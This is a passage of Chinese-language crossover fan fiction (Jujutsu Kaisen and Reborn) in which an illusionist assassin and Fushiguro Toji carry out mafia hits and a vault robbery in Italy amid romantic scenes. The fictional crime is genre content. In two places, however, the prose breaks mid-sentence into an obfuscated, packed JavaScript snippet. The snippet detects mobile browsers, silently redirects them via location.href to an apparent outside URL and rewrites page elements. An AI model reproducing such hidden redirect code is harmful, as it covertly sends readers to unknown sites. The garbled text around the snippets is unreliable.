她还被领班指责笨手笨脚,早知道就费点心乔装成倒酒的侍从了。伏黑甚尔现在在门口站的多快乐啊,手里就拎个冰桶和酒瓶。 小莳推着盘子就往领班干净整洁的怀里塞,酱汁、食物、残渣沾上白色洁净的衣料,仗着对方不敢在宾客前造次,给了他一个挑衅的眼神,大摇大摆离开,走出门的时候对门边侍酒干站的同行者勾勾手指,反手扯下围裙丢在地上,踏着走过去。脚底的触感让她忍不住碾了碾,看在不受欢迎的第三人眼里无异于挑衅。 在她被离开大厅终于不用抑制愤怒的领班叫停后,转头对他打个响指:“清醒点,我根本没在这里工作。现在你去关注下现场的来客比较好哦?” 领班在一阵如梦初醒和短暂的错愕过后又被她蛊惑的语调和勾起的尾音拽入幻觉之中,他直直转身顺着小莳指的方向回到骚乱响动的宴客厅。 而小莳一点也不讲究葡萄酒的拿取规则,提着瓶口就给伏黑甚尔减轻了大约一公斤的负担:“你不喝,我不喝,带回去给飞行员喝。可以相信一下这些人的选酒品味。” 她对着瓶口扇了扇风,嗅到了葡萄混着酒精的味道,点点头,嗯,好酒。 “你懂酒?” “不,完全不懂。”只是一脸自信大胆评判的样子能够唬人。小莳转手把酒瓶丢回冰水混合的桶,发出哐当的响声,她躲开溅起的冰水,任它和飞出的红酒洒了伏黑甚尔一身。 跳开三步远,“不说了,我先去处理点小业务,晚点直升机上见。”反正是他自己硬跟过来的的,可以蹭她的帝女雀来,回去的时候运气不佳得荒郊野岭徒步一公里也怨不得人。 伏黑甚尔觉得小莳是心虚的跑走了。 一小时后,当她乘着月色来到降落的临时停机坪,伏黑甚尔正叼着高档酒瓶给自己灌酒,别说,红酒瓶的形状和啤酒瓶还真挺像,也就价格差个千百倍这样。有酒液从他的嘴角流淌而下,汇入他已算不上整洁的侍者服。 不费功夫就可判定蓄意□□,小莳目不斜视绕到另一边坐在他斜对面,在他目光灼灼之下吩咐飞行员准备去定好的酒店下榻。她还特地问了:“你没喝酒吧?”得到否定的回答后才用手摸到安全带。 “都解决了?要来点吗?” “不喝。”可她回过头后才发现伏黑甚尔手里拿着递给她的是一块用餐巾包裹着的散发着黄油香气的面包,严格来说小莳闻不到奶香味,但它长得分明和庄园里餐桌上供应的诱人餐包一模一样。在上菜时,它们还温热,抹上的黄油很快就融化在雪色的团状中,香气久久不散。 她接过了面包,他简要说明:“在第一轮倒酒的时候拿的。”这是伏黑甚尔少有的能捡走菜品的机会。顺便还偷了人家的饭兜子。 小莳的思维跳跃到他在后续被吩咐时的应对:“你听不懂意大利语,那他们喊你的时候怎么办?” “点头,然后走开。” 原来他们都是假装大师,没事,比起party大变活人,服务生的失责根本无人在意。小莳在起飞晃动之前急速把面包折叠塞入口中吃掉。 “你上次也喝酒了,”伏黑甚尔突然提起,“在米花的时候,现在怎么又戒了。” “上次是因为分心了。”小莳很快想到他说的是唯一一次饮酒,她解释:“在想怎么和你分手呢。” 他咂舌:“真是残酷。” 小莳已读乱回:“是的,在失去唯一的孩子以后,家庭很容易分崩离析的,我们的分别还算体面。”没了小天才灰原哀,这个家就是一盘散沙。 “哦?那现在呢?”伏黑甚尔的声音在噪声和电流音里暧昧不清。 她此刻还没从任务的余韵中回过神来,精神状态比较……亢奋,下意识就说:“现在有小惠~这么一想他确实也算你唯一的孩子。啊,我果然做了很了不得的事。” “……” 小莳脸上有了类似酒后的红晕,她双手捂唇:“天哪,这是我最喜欢的一集!” 下一秒他几乎是从座位上弹起,总之在小莳反应过来的时候,这人已经压在她身上了,他的身型让她联想到猎豹,眼神像某种凝视猎物的猛兽,鼻息中她嗅到了名为危险的味道,因为大开大合的任务而找到一些状态的小莳此刻最不缺少的就是肾上腺素和冒险精神,她拽下自己的耳机,无视其中飞行员关于情况的询问,捏着野性生物的下巴吻了上去,其中有葡萄酒的香醇。 一吻过后,剩下来的一路都没发生什么令后勤队员心惊胆战的事情,就他观点看,他们在非常符合意大利风情的火辣一吻后只是在用外语聊天。 稍微聊了点一个合格的幻术师至少要有七八个能熟悉运用的马甲,和有关任务的多种风格,小莳对自己的情人发出邀请:“要不要考虑做点兼职?虽然不知道你现在做什么谋生,但正常工作无论如何都比不上更危险隐秘的回报丰厚。” 无业游民伏黑甚尔本来也不是什么善人,说好。“没想到你还真是个声名在外的杀手,你以前没这么活跃。” “这里可是意大利,黑手党的舞台上我怎么也算个重要线索和三番配角,比不讨父亲欢心的没天赋女儿更有价值也是常理。确实,世界是一个巨大的烂橘子,根本杀不完,不说世界范围,只欧元使用的区域里每天都在增殖我的变现对象。” 呼啸的风和雪花音让他的声音更低沉性感:“看来你将一切都归咎于赤司征臣和父权。”他是变得喜欢说话了,但内容不亚于逆毛摸猫。 小莳瞥了他一眼,要是现在是个一无所有的人,她一定会急,幸好不是,可以足够从容地应对回去。不过她关注于如何让对方吃瘪,不曾意识到自己也话中带刺:“作为禅院家的高材生你也一定很懂自己好像很强又好像不太行的割裂吧,请问你该如何平衡美好的理想和残酷的现实之间的矛盾呢?” 伏黑甚尔十几岁的时候在此门课程挂了科,而后一路跌跌撞撞,现在他年近三十,面色因她的咄咄叩问凝重,最后舒展眉头,认输一样对小莳笑:“是我说错了话,你别介意。赤司征臣做得不够好。” 这是一次短暂交锋中他完完全全的低头与顺从,话语权归小莳所有。 她的性格中不具有一般被认为是女性美德的安分守己与温婉内敛,若非如此她一定要在此时说些另一个面相的心里话也稍微服个软,说她实际知道在那生活不如意和赤司征臣关系不大,就算他是个百依百顺的父亲也不妨碍她水土不服,说她只是在迁怒。可小莳不说,此刻,她只是在享受胜利的喜悦和满足,没打算和伏黑甚尔分享愉悦的心情。 “哦,你知道就好。”她的手绕着麦克风打转,这个话题就此揭过,“对了,你和那个中间人认识?就是年纪很大还要收中介费的那个……他名字是不是叫时雨,还是叫苍燕来着?”总之是时雨苍燕流里的两个字,还是连在一起的,难不成是燕流? “他啊,以前给我介绍生意的。”伏黑甚尔觉得像时雨,但他不确定,平常说话都用你和他,名字倒是不太常用,“现在快隐退了,应该。”省略了天内理子还有这次牵线20亿的事情。 但小莳转过脸问他:“天内理子也是他介绍的?” “啊,是啊。” 这人还真是……介绍人中的翘楚,一不小心促成了两个身边大事件,阴差阳错和小莳本人也连上线:“你知道夏油杰收编盘星教余孽也是他牵线搭桥的吗?”怎么有种穿针引线的boss既视感? 再一想甚尔多半不知道,那时候他都死一年了。 “夏油杰是谁?” 小莳倒吸一口凉气,在没想到的地方地狱。动动手指给青少年带来了一生的影响,他本人却不记得。而那也是伏黑甚尔的一年前。 “悟的小伙伴,理子的保镖,被你打了一顿以后放过然后你还阴阳怪气自己是猴子的那个。他超级讨厌你,忘不了你,新年的时候还和我吐槽过你。”即使他真像自己所说一样不擅长记忆男人的名字,也独独不会忘掉干掉自己的人,至少五条悟的名字是她只念其名而不会令他陌生的。 “这么说来你把你堂妹害惨了,心理阴影这个东西也是会传染的。”她想到了百鬼夜行那个时候。 伏黑甚尔没听说过自己的堂妹,但是脑袋里倒是想起了可能是禅院扇女儿的人,那天他还跟过她和小莳一段:“涩谷那天还人情了。” “有没有一种可能陀艮在领域对拼中以微小的差距输给了脑袋比较好用的惠,本来大家也都快走了,刚离开咒胎的小海鲜不值一提。你还把人家流云削了,当着她的面!”在咒术理解上轻舟已过万重山的小莳毫不客气嘲笑彼时的新手村超模怪物。 伏黑甚尔纠正:“那是我的东西。” 她双眼无神:“哎呀,这可怎么办,大家都好讨厌你。有一种在大庭广众之下被并不引以为傲的男人爱着而尴尬的感觉,啊这么说也不合宜,毕竟无论你我长得都好看。只是……你坏事做太多了,在圈子里可全是邪名。”是啊,正常人谁会在有能力赚其他钱的情况下选择没干过坏事的小女孩下杀手呢?各种意义上的无罪羔羊。 不仅天内理子是她关系还不错的朋友,单看杰的两个小孩以前动不动吗喽吗喽就知道他的父教在这方面继承了多少反派心理,其源泉是眼前这个看起来还不高兴的男人,天哪,甚尔真是一点数也没有,说他不令人引以为傲都是参考文学作品的委婉说法了,他还觉得是她说重了话! 小莳倒是没觉得天元同化出现差错也要归咎于他,首先,献祭童男童女的事情本身就值得质疑,其他没了。 “你以后万一路过并盛小心点,别被杰看到,不然我会在他面前抬不起头。别露出这副表情,我当然是认真的。”在伏黑甚尔每况愈下的怒颜中,小莳问:“如果惠在成年后改姓五条,你会为他高兴吗?是的,你就害我陷入了这样的处境。” 答案是对方关闭麦克风以后凛冽的风和突突突的浆涡干扰。 理性而言,这是小莳自己在知情同意的情况下必然会产生的困局,不能说是伏黑甚尔害的。现在她觉得此时如果进行责任判定,那么所有人都得担点,也不存在什么无辜受牵连者。至少在可以预见的未来里,夏油杰有一定几率能撞见伏黑甚尔,小莳是真想让他低调点,将此事无限期延长。 奔赴下场的前夜,小莳在私家庭院里入住。这里的主人是两年为自己挣了一个安逸大院的贝尔·菲戈尔。可以怀疑不知名王族末裔的工作态度,因为不能指望王子好好工作。然而,对于他的审美品味和享受水准则无需多疑。 奢华的风格不必多言,配备的侍从也相当专业,小莳受到了周到的礼遇。只不过……右边倒数第三个站着的,怎么有点眼熟? “弗兰,你转生成女仆了。是因为在这里打碎了盘子所以要用身体偿还吗?” 他说你怎么发现我的伪装,小莳指出他头上巨大的苹果恰似当年的模样。 “幻术失败了。”弗兰顶着苹果的身形一下就把两边的侍从挤到旁边去,人群倏然散开,“果然很难瞒住小莳酱的眼睛。列维说你的男朋友是年轻的那个,这个看起来也不太年轻。他不会是以自己的十几岁为蓝本判断高中生的吧?” 好美丽的一张嘴,小莳抿唇忍笑:“男朋友回老家上学了,多的别问,现在这人是我的助手。别看他平平无奇,其实也是山本武那样的天赋选手。” 弗兰又看了眼助手先生,他长得也和平平无奇关系不大,但弗兰懒得说,作为幻术师他更在意的还是幻术造物。于是问:“tep呢?” “在遥远的东方辅助进行体制改革和上学,以及替我在奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413157|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈身边照顾。”小莳不打算纠正他乱起外号的毛病,“你可以简单地理解为打黑工和孝心外包。” 弗兰说可惜了,他如果回意大利可以做更多,小莳笑他沾染了资本家的坏毛病,变成了糟糕的大人。 他现在成了管理人,与还只是业务员的小莳自然有了分隔:“我是来传达boss指令的。执行对象已经分级在密钥里排序,你可以随意选择。不过有一条规定--原则上不能只挑选高风险度的目标。得清库存。” 高风险约等于高收益,其难度近似于在公司高层推进项目,获益也是如此。清库存就是在大楼里扫垃圾。没人喜欢做清洁工。现在瓦利亚也有了自己的配货规则。 小莳讨价还价:“这算哪门子自由挑选,2比1?” 弗兰竖起一根手指:“是随意选择,就像甜甜圈套餐,一个甜甜圈配一杯咖啡。” “坏了,那些产假后女性回归职场遭遇的就是这种权力架空和冷遇,终究是错付了。” “是首领和boss的共同决定,他们只希望你的手艺不要生疏,却不希望你沉溺,只要你想,你可以成为最快晋升的管理人。有人叮嘱me不要说的,你要保守秘密。”弗兰给她透了底:“不过在那之前,首领其实更希望你去正常的读个大学。” 感谢他们的悉心照料和稳妥谋划,小莳一下就为自己之前浅薄的想法而感到羞愧:“其实我只想做到下周然后回东京,职业生涯规划这种事18岁想还太早了吧。我觉得这个时候谈个恋爱刚刚好。” “……” 1比1的事情也定下。弗兰离开的时候对着小莳和伏黑甚尔拍了两张照片,嘴里说着:“抱歉,都是前辈们的任务,me很快的发给他们很快的走。” 她对兴致不高的助手解释:“四舍五入算是把你介绍给同事们。”接下来,是休息时间! 她顺着大理石的楼梯往上走,跟着指引的侍从准备去餐厅,听见伏黑甚尔终于肯说话:“你没想过和惠说这些对不对?” “顺便提了一嘴,他了解不多。迄今为止惠惠过的都是正常生活,这方面的事情暂且就稍微有些距离感的抛开不论。反正这也只是我的一部分,人可以自由的选择要展现什么面貌。”虽然咒术师的生活相比于一般高中生来说也丰富多彩不少,但黑手党又是另一回事了。 “那就只有我知道你这一面,对不对?”小莳转头回去的时候被他挽住脖子,贴近他身上,她听他的声音近在耳边。 小莳迟疑:“没想到你还是个恋爱脑?” “也许我是。” 小莳在此刻被这套圆滑的话语唤醒,她说:“嗯。那你不是。”也只将他当作表演型人格发作的一套连招。 当她从浴室里裹着浴巾出来时,看见床上多出一个人。也不能说是完全没想到:“你坐我被子上了,我不喜欢。另外,你该回自己的房间。” 伏黑甚尔起身帮她擦拭湿发,小莳就说不出拒绝的话。但完毕后,当对方自然而然将湿毛巾和电吹风放回浴室后返身往床铺的方向走时,小莳掀起被子盖在腿上,相当没有过河拆桥的自觉:“那你现在可以回去了。” “用完就丢?” 她对他挥手道别以示回应。伏黑甚尔转头就走。 次日,直到小莳定好火车票,并且将笔记本电脑和密钥都收拾妥当,总结出接下来两天的行经路线,他都没有来找她。 给伏黑惠发完问候消息后,她跳下床伸了个懒腰,打开房门去找她的情人。仔细想来这身份还是对方自己安排的,小莳还没点头说好,不过事到如今几乎也算是默认了……在这点上伏黑甚尔足够特殊,最后她还是吃了回头草。 “出发?”她探头。 “哦,好。” 新的一天,小莳给他介绍了自己亲自规划的路线。这就像在手机里玩送外卖游戏,要找到不同任务目标日程表上的活跃点,佐以时间的协调,才能在最短的时间里以最高的效率跑完全程。 “如果有人临时改动日程表?” “那他暂时捡了一条命,这又不是死神来了要无一错漏挨个收割。”她在车后座这样说,“不会有人因为我们没有极速达而给差评的。” 小莳靠在了伏黑甚尔肩膀上:“中午我们吃牛肚包?” 他侧过头,托住小莳搭着的侧脸,她因手指的力道而抬起头。他们交换了一个湿漉漉的吻,她被他娴熟的技巧绕得晕头转向,舌尖被吮吸,生出麻麻的痒意。 结束后,伏黑甚尔等待她的喘息和缓后问她,他的眼睛望进深海,努力在其中追寻,但那里面除了蓝色什么也没有:“你想要什么?” “嗯?” “你希望我做什么?”他贴着她耳边细密碎发,喃喃问。 小莳理解了他的意思,有些迟疑:“我们的关系,说这些会不会太暧昧了。” “怎么会,我爱你,愿意为你做很多事。” 正是因为你突然这么说才显得油嘴滑舌而更不靠谱啊,比什么都不说还不可信!小莳一听这种缺乏真诚的话就浑身难受,她反手拂开他的脸:“就算你真的超爱,那你也没有办法决定在不爱之后的事情。甚尔,你的自我控制能力较差,今日的承诺不能代表明天的你。我不太相信你。”所以不是伴侣,不是交往对象,是情人。 “我会一直爱你。” “你可不知道这种事。”小莳对他摇头:“人的面貌多种多样,而你,恰巧不是会忍耐和排解的类型。你经历了很多坏事,就算你想忍一忍过去,最终也一定会触底反弹,从这点上来说你的心反而是最无拘无束的,人伦世界的一切都不能束缚它。你会……永远选择让自己快乐的东西。我不觉得自己身上有什么永恒不变的可爱之处,也不觉得任何人有,但任何时刻世上总有可爱之人。”人生不算短,为了可以预见的未来中能得到稳中向好的发展,适当的放弃对小莳来说完全可以接受。她完全可以放弃和甚尔的trueend,不论是交往还是情人的欢乐都能不明不白结束,不能期待他给出好的回应,这种事情在一年前就清楚。 “我懂了,你不信任我。” 小莳不想他说出一些类似于要证明自己给你看的尴尬话语,这反而更会印证她的判断,说出鼓舞士气的话无疑会让自己好受些,可若没办法取信于人就是纯粹自high了。她低眉:“不见得,也许恰恰是因为我太相信你了。基于我的了解,你的理性,你的判断,统统不能阻拦你做出最终相违背的决定。” 在他的身体里,有些水火不容的相悖事物存在。 “所以回到你的问题:我想要的,是能掌控自己的人生。人也好,物也好,能伤害我的东西,最好都别要。” 一谈心,就要谈崩,她已经有点习惯了。如此一来,伏黑甚尔也不过是一块已经被她超越的人,就算她现在回头,目光重新注视他,但那也不过是因为--一些残念与余响。 小莳设想过他会把车门扯开跳走,或者一言不发直到他愿意开口,谁知他只是若有所思:“只要让你觉得安全就可以了?” 伏黑甚尔之前觉得小莳需要很多安全感,现在他觉得她对于过量的一切都排斥,她的品味远比味觉偏好更寡淡。 她皱眉:“被你这么一说显得我很胆小。你换个好听点的说法。”但她只是说不好听,没反驳。 “哦。”伏黑甚尔好像想了想,他停顿了一会,却说:“那我们吃牛肚包。” “……”吃吧,谁能吃的过他啊。 算了,只要他不再纠结于油腻的情话就好。 90. 第 90 章 两人的美食之旅当晚延续到了巴西利卡塔,今日目标超额达成,考虑到伏黑甚尔在今天配合度出乎意料地高,小莳决定自愿赠与他40%,她是个大方姑娘。 “我先帮你存着,到时候走并盛银行转你。”说话像个画饼忽悠小孩的坏家伙,而他点头应好。 他们又一起吃了晚餐,小莳还给远在东京马不停蹄开始作为咒术师工作的伏黑惠发了晚餐照片,他这会还在睡觉。伏黑甚尔送小莳到房间门口,拥抱了她一下,留一句:“明早我来找你。”便离开。 小莳松了口气。 晚上她就梦见了五条悟。 “怎么有人日上三竿了还在睡觉啊。” 五条悟不满质问:“不是,你总不回我消息。想背弃承诺吗?小惠都回来了!你怎么还不回来!是不是在外面偷腥?!” 这人……好险恶,所以催促惠回去果然是想把她一起骗去做苦力。后面小莳直接没入耳。 “不是把奈亚给你了,要干掉谁给他名单就好。逼供和拷问他也很有一套,不动声色套取信息亦可以指望,脱离情绪价值,他简直就是一个能够完美替代我的ai。而且……离我们说好的时间明明还有一周!”天选打工人。 五条悟一点距离感都没有地摇晃小莳肩膀:“可他白天要上学,周末要回并盛。而且小莳,你确定你这造物是值得信赖的吗?” 他这话是什么意思,小莳护短道:“当然值得,你要是理解能力没问题的话看了我的记忆就能知晓一切。” 她已经对自己有个异世界同位体感到习惯了。就像那个怪盗基德长得和工藤新一一模一样,他们都还是土生土长的东京人。至于她和五条悟,就当是大千世界无奇不有好了。 五条悟快速又小声地说了句话,然后嚷嚷:“那你快点回来,他也只值得你的信赖。” 没听清前面半句,她对后面颇为惊讶:“你们相处的不好吗?悟,你是不是--” “我没有!!” 而小莳深表怀疑,她的表情刺痛了对咒术界未来迷茫兼有极大工作压力的五条悟:“你就不能像朝利雨月奔赴意大利帮助彭格列一样回日本给朋友一点支持吗!” “……你还真把自己当老大了,初代雨守应首领的请求,一是为家族存亡,二是为领导之令,你这是在?” 五条悟百忙之中想起了自己糊弄来的身份:“我是你家庭教师?尊重一下师长?” 哎,奈奈绝对是再过十年会被不良保健品推销员欺骗的类型,小莳想到这里就摇摇头:“这样吧,不如我们一年后相约东大,我读美术设计,你读管理学。你所感到困扰的一切问题,多半在几百年前的欧洲已经上演了好多轮,只不过咒术师关键词被换成了小众/少数/疾病/阶级/宗教/意识形态。战无不胜的将军面对统治者每天处理的利益平衡也很容易束手无策,总之我建议你先读到管理学硕士。” 她附赠了一条免费的良策:“当然,如果你想问的是生与杀的yesorno,那答案就和【大家评评理,我们到底要不要分手】如出一辙,要。连你这样的受气包都在犹豫要不要干掉……那在我这更没什么讨论的余地了。” 中等道德感搭配超强秩序感,这就构成了束手束脚的五条悟十八岁后的十一年,小莳趁着他盯着自己但明显神游天外在想事情的空闲,把人请了出去:“有事下周议,如果我回并盛没事的话就联系你。别再打扰我处理彭格列事务了,再见。”学历水平只有高专的人处理不了体制改革问题太正常了,不巧,小莳现在高中未毕业,不觉得掺和进去是个明智之选,就像摄影师只该冷眼看待草原生物圈里发生的一切。 然而……在这点上五条悟倒是像个热血少年一样莽撞的冲进去。现在好了,他还想做一些大刀阔斧的事情。小莳打开床头灯,靠在丝绸的枕头上眯着眼睛习惯性刷其手机,思绪却还停留在五条悟身上。这人自从被夏油杰忽悠,听了些“如果是你的话就能轻易做到”的丧气话以后就怀上梦想了。她想到这里决定接下来一天都不能给伏黑甚尔好脸色。 接下一天的行程主要是走马观花的过场,它就像廉价旅行中被带到大卖场的不愉快经历,但必要,因为旅游团是这么说的。在路上的大部分时间里,她都在沉默看手机,偶尔看窗外,几乎不和伏黑甚尔主动说话。 “过会吃甜点,提拉米苏?” “嗯好。” “还是gelato。” “嗯好。” “……” 这种程度的怨气也像隔夜茶一样会被倒掉,做了一天彭格列清洁工的小莳也把烦恼丢尽焚化炉,让它在又八小时的标准睡眠后,在早晨的阳光下灰飞烟灭。 她检查着后勤今早送来的装备,门禁卡,指纹图样,以及可能会用得上的一些药剂和配套针管。万事俱备,而这是一个大单,小莳非常喜欢结束后的寻宝环节,从眼睛眯起的弧度和上翘的嘴角就能见得,她对伏黑甚尔好声好气:“今天是最赚钱的一天,就像前天一样,我们五五开。等等,之前好像是四六……不管了,今天分你一半。” 伏黑甚尔记得今天只有一个目标,她的身份不是最重要的,酬金也只是居中。小莳不会给他介绍每一个人的累累罪行,她自己也记不住,只不过出现在密钥所指向网站里的名字--据她所说,都是情节对照法条能无期徒刑的。 “意大利的无期算是严重,因为死刑这个概念……从宪法开始就没了。但日本那边好像还挺常见的,但也可能只是咒术界常见。等等,仔细一想在我们mafia世界其实也动不动就处决,这么一想或许这些人在日本依法也只能判无期呢?”但这不重要,【事实上】他们已经命不久矣。 活泼快乐的小莳让伏黑甚尔问出了困扰小半天的问题:“你昨天心情不好?因为我吗?” 然后他听说了小莳梦里的事情,最后她做出如下总结:“也许以后在悟的每一次头脑一热想要做点关于咒术界未来的贡献,顺便想拉上我时,我都会迁怒你。但这是你应得的。” 伏黑甚尔略微不服:“这和我没有关系,逻辑牵强。” “所以才是迁怒。”小莳对自己的怒气理解透彻,“但是啊,你该清楚,你让一个小男孩轻轻的碎了,然后他的朋友就决定要生活在现实里,和不该发生的一切斗争。” 小男孩,真的假的?伏黑甚尔的脑袋好似电脑桌面的回收站,忘掉的内容在有必要时也能找出来凑凑。很幸运,他想起了有必要回忆的一些事情:“夏油杰17的时候不算小男孩,也没碎。是那个咒灵操使没错吧,他体格不小。” 她不以为然:“我不知道,我见到他的时候他就28了,但17……听起来就年纪很轻。甚尔,你的运气大概是那种在米花町一定会在柯南面前犯案,然后一定会被戳穿手法然后抓起来的类型,在这点上就远远不如那个孔什么什么,你不太适合做反派,因为一次性是耐用的反义词。” 在听了伏黑甚尔的【急流勇退好多年,重回行业干了第一单就没了】的故事后,她早就有这种感觉,只不过知道他决计不乐意听这种评论,忍耐到今天。这糟糕的运气总让她联想到黑暗料理界中“一生只能吃一次的菜品”。 在他拒绝沟通的生闷气状态中,小莳轻轻感慨:“不是所有人都愿意赤手空拳对抗现实的,我就不愿意,所以才是幻术师嘛。不过其实这样也挺酷的,虽然很麻烦,但就像阿纲会做的事情,像少年漫。” 她早就习惯这位助手的坏脾气,对于他的不搭话接受良好。 完成任务并无阻碍,两人轻装上阵,极佳的潜行能力加上幻术的双重保险,只在处理某个本不该出现在这的其他家族的成员时稍微耽搁了点时间。对方是岚,给伏黑甚尔造成了一些击破伤害,造成这点的原因主要是装备差距。科技在金钱充裕的情况下能弥补不少人体的不足,比如让一个上一秒还空手的家伙对并不宽阔的客厅阳台轰了一炮。 小莳被伏黑甚尔护在怀中,她举起手摆出一个枪击的手势,和意料之外的能力者对视时彼此的眼睛里都有错愕:她是还在因为对方突如其来的一炮,对方是因为她的子弹威胁。 没人突然跑出来解救这位……弹道从其眉心斜着通到小脑的尸体,小莳在听到耳边的夸奖时才反应过来。 “不错,你很会把握时机。” “身体反射。”惊讶归惊讶,该有的灵活应变也不能少,“应该有火炎的散射伤害,你怎么样?岚的分解特性一向棘手,我判断创伤面积和伤口应该都不小。” 闲聊归闲聊,小莳顺手给废墟里不切实际想狼狈爬离现场的目标女士带来了一生的终结,不给虚假的希望亦是一种美德。伏黑甚尔将她保护得很好,她毫发无伤,但他也因为多一个步骤而闪避不及时,手臂被波及。 小莳从他怀里出来,掀起黏在皮肉上的布料。果不其然,伤势不重但折磨人。左侧的手臂外侧衣服连着皮肤一块被分解,最严重的地方露出了鲜红的肌肉。他先说还好,然后问:“我们能接吻吗?” 念在他毕竟让自己免于这些不体面而给点面子,小莳只是露出一个尴尬不失礼貌的笑容:“你是不是那种烂俗苦肉剧情看多了?怕你不知道,说明一下。我会反转术式,看伤口不是为了怜惜你,是为了治疗。”这边建议丰富一下精神生活。少想点有的没的。 真是个缺乏想象力的男人。 伏黑甚尔没什么其他表情,转动了一下手臂,确认没事后多给了原先还是创伤的地方一个眼神,他低声感慨,听不出语气:“真神奇。”然后双手捧住小莳的脸,将自己的脸覆上去。 几分钟后,他揉了揉她有些充血的红润嘴唇,解释:“嗯,那这是我的谢意。” 在小莳发作前他随便起了一个话题:“分解是什么意思?是这种属性的火炎都会产生的效果吗?” 她踩了他一脚才回答:“是,这种属性叫岚,红色火炎,分解就是你理解的意思,击破的好手。【总是成为攻击的核心,无休止的怒涛】,和我的属性特性不太合得来。” 都说到这里,他当然会问,那你的是什么。小莳拽着目标的头发让她翻了个身,简要回答:“雾,构筑。” 听起来就是会打架的两端。 十分钟后,伏黑甚尔理解了小莳早上说的那句“钱最多的一天”。因为她带他来到了别墅的地下车库,铜墙铁壁的小房间外做了活体检测。厚重的钢铁门扉开启时,她转头对他做了个请的手势:“有钱人住大庄园,里面的东西大部分都有记录,钱在银行里,或者在其他一些小众货币里,总归不在身上,无关人员太多也不方便带走。而没条件狡兔三窟的家伙就只好在城郊成栋的小别墅里自己装小工程了。” “活体指纹识别是个不错的主意,安全,高效,方便今天被发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413158|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现,今天就轻装上阵逃跑,毕竟银行和取款机可是抓获的高发地。不过我恰巧是幻术师里面天赋不错的一个,记住指纹再真人检测也不是难事。欢迎来到违法所得的宝库,欧元汇率一向不错,面额也大,但我猜测她会有黄金。不管是哪个世界的中产都爱保值的一般等价物。”小莳说欢迎光临的时候没忘记展开双臂,表现得自己像是遗产所有人。 没见过很多黄金的人总是难以想象,1公斤的黄金只有不足四厘米边长的小正方体那么大。 “经济一动荡,政府就爱发钱。所以有钱的买房,少钱的买金,没钱的买票,彩票,赌马券,以及其他任何小额且存在一夜暴富可能性的票。”小莳嘻嘻了一声,说的就是你,伏黑甚尔,为了一夜暴富投进去大半身家的笨蛋。“看到用1000w造出800w假超这种新闻会让市民朋友们捧腹大笑,然而现实生活中更笨的事情可是时时刻刻在上演呢!” 出车库时增重5公斤的伏黑甚尔觉得自己被冒犯了。他想对正在研究能不能消除出入记录的同伙说些什么,对方愤怒地砸了显示面板,他就没说话。 只在驾车离开时,他问:“现金和珠宝可以放在后备箱,门厅有网球包,不带吗?”下车后也可以拎包。 “倒也不用极尽搜刮,就当给财政慈善惠捐,毕竟都是民脂民膏来的。珠宝我还是偏好交易所的,至少可以随心所欲佩戴而不用被怀疑是来路不明,每年黑市上这些偷来骗去倒了不知道几手的东西可多。想来这也是我遮遮掩掩的面子,不记名的东西和正规的东西给我安全感。”小莳把东西往车后座丢了以后就熟练地系上安全带,翘腿抱手等同伙做好接下的一切工作。她假装自己是个挽歌女,在内心回顾着这位三角贸易女士不足半个世纪地一生,她做不少坏事,最后积攒的看起来也不过就是几十万的小别墅和不足一亿欧的资产,却导致那么多人的悲惨遭遇,有人已身死,有人仍陷囹圄,总归就是那三个字。 杀不完。 行在黑暗的世界里,入眼当然也不会是光明,她已有觉悟。 车窗外吹来令人清醒的凉风,小莳在副驾驶位上轻轻哼唱:“我要那只瞄准的眼睛,我要那颗起这恶念的心。”坦白说,不太好听。 晚上伏黑甚尔说伤口疼,窜进小莳房间,她恨不能飞速掌握岚的波动,让他真的有点伤口。小莳是小个子,不算轻盈,但他能毫不费力举起她的身子,让她从床铺上飞一样横卧在他身前的腿上。没什么压迫感,他留下了大片让怀中人离开的余地。 伏黑甚尔能在惹毛人的时候又不完全让她想翻脸。他是个……厚脸皮。 “又怎么了,我的大少爷?” 他颇为直白地请求:“我想抱着你睡。” “我不想。总感觉和你不熟。”盖一床被子会不会太暧昧了。 “你和惠就很熟,你们才认识多久?” 小莳急急忙忙从他身上下来“别问,答案会让你有挫败感。俗话说的好:感情勉强不来。” “就因为他是初恋,我不是?” 她想了一下,给出了暧昧模糊的答案:“多种因素共同作用,你说的大约也是其中之一。不过我是直觉选手,不会特意去寻求缘由。” “懂了,你嫌我脏。”伏黑甚尔低头看空落落的怀抱,小莳一脸急于撇清关系的样子更让他不舒服:“就算我把什么都给你,在你眼里也还是不如他,对不对?” 此话出口他就知道自己犯了一个错误,可他盯着几步外刻意拉远距离的人,即便如此还是在等她一个回应。他的理性评估总是准确,而感性的冲动和渴望得到回答的赌徒之心也总是高出一头。伏黑甚尔开始想起前两天小莳对他的“太过信任”,也许她没错,他的决定总是应激情之约而有悖理性。 她说:“这是一个对自我了解不深刻的人常有的假设,可实际上,你并没有把什么都给我。我也怀疑你其实并没有毫无保留地把自己交给过任何一个人,包括你自己在内。发生不了的事情还是不要去假设比较好。”她的肢体语言也给出了逃避的配套表现。 过了一会,他才呼出一口气,低下头,不再看小莳:“我只是想要一个答案。” “而我也无法告诉你自己都不清楚的事情,我给不了你答案。我的个人建议是不要攀比。” 可这本身也是答案。以语义学角度论,向来只有比不过才叫攀比。 